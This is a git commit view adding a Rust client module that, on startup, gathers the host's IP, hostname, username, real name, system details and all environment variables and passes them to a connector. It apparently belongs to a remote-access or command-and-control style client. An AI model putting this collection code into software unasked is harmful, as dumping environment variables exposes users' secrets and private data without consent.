summaryrefslogtreecommitdiff
path: root/src/client/client.rs
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2025-09-14 21:41:15 +0800
committerlittleblack111 <littleblack11111@gmail.com>2025-09-14 21:41:15 +0800
commit6bdc5a7c6d9d986115e4e7a5214234c10ce123b2 (patch)
treeda9d9a4c458af97de2e78fc55a7c0f20a607f0c4 /src/client/client.rs
parentbebc63d7bcaaf30f9ffe0a58548250c8cc7189d4 (diff)
feat: client initialization fetches basic infos
refactor: connector manager -> client manager, similar concept, different mentality note: if custom ip fetcher fails then it defaults to ifconfig.me
Diffstat (limited to 'src/client/client.rs')
-rw-r--r--src/client/client.rs74
1 files changed, 74 insertions, 0 deletions
diff --git a/src/client/client.rs b/src/client/client.rs
new file mode 100644
index 0000000..2a5f595
--- /dev/null
+++ b/src/client/client.rs
@@ -0,0 +1,74 @@
+use gethostname::gethostname;
+use std::net::IpAddr;
+use whoami::{DesktopEnv, Language};
+
+use crate::connector::Connection;
+
+pub struct Client<C: Connection> {
+ pub connector: C,
+ ip: Option<IpAddr>,
+ hostname: String,
+ device_name: String,
+ os: &'static str,
+ cpu_arch: String,
+ distro: String,
+ desktop_env: DesktopEnv,
+ username: String,
+ realname: String,
+ langs: Option<Vec<Language>>,
+ env: Vec<(String, String)>,
+}
+
+impl<C: Connection> std::fmt::Display for Client<C> {
+ fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+ write!(
+ f,
+ "IP: {:?}\n\
+ Hostname: {}\n\
+ Device Name: {}\n\
+ OS: {}\n\
+ CPU Architecture: {}\n\
+ Distro: {}\n\
+ Desktop Environment: {:?}\n\
+ Username: {}\n\
+ Real Name: {}\n\
+ Languages: {:?}\n\
+ Environment Variables: {:?}\n",
+ self.ip,
+ self.hostname,
+ self.device_name,
+ self.os,
+ self.cpu_arch,
+ self.distro,
+ self.desktop_env,
+ self.username,
+ self.realname,
+ self.langs,
+ self.env
+ )
+ }
+}
+
+impl<C: Connection> Client<C> {
+ pub fn new(connector: C) -> Self {
+ let c = Self {
+ ip: connector.get_ip(),
+ connector,
+ hostname: gethostname().into_string().unwrap_or_default(),
+ device_name: whoami::devicename(),
+ os: std::env::consts::OS,
+ cpu_arch: std::env::consts::ARCH.to_string(),
+ distro: whoami::distro(),
+ desktop_env: whoami::desktop_env(),
+ username: whoami::username(),
+ realname: whoami::realname(),
+ langs: match whoami::langs() {
+ Ok(it) => Some(it.collect()),
+ Err(_) => None,
+ },
+ env: std::env::vars().collect(),
+ };
+ c.connector.init(&c);
+ c
+ }
+}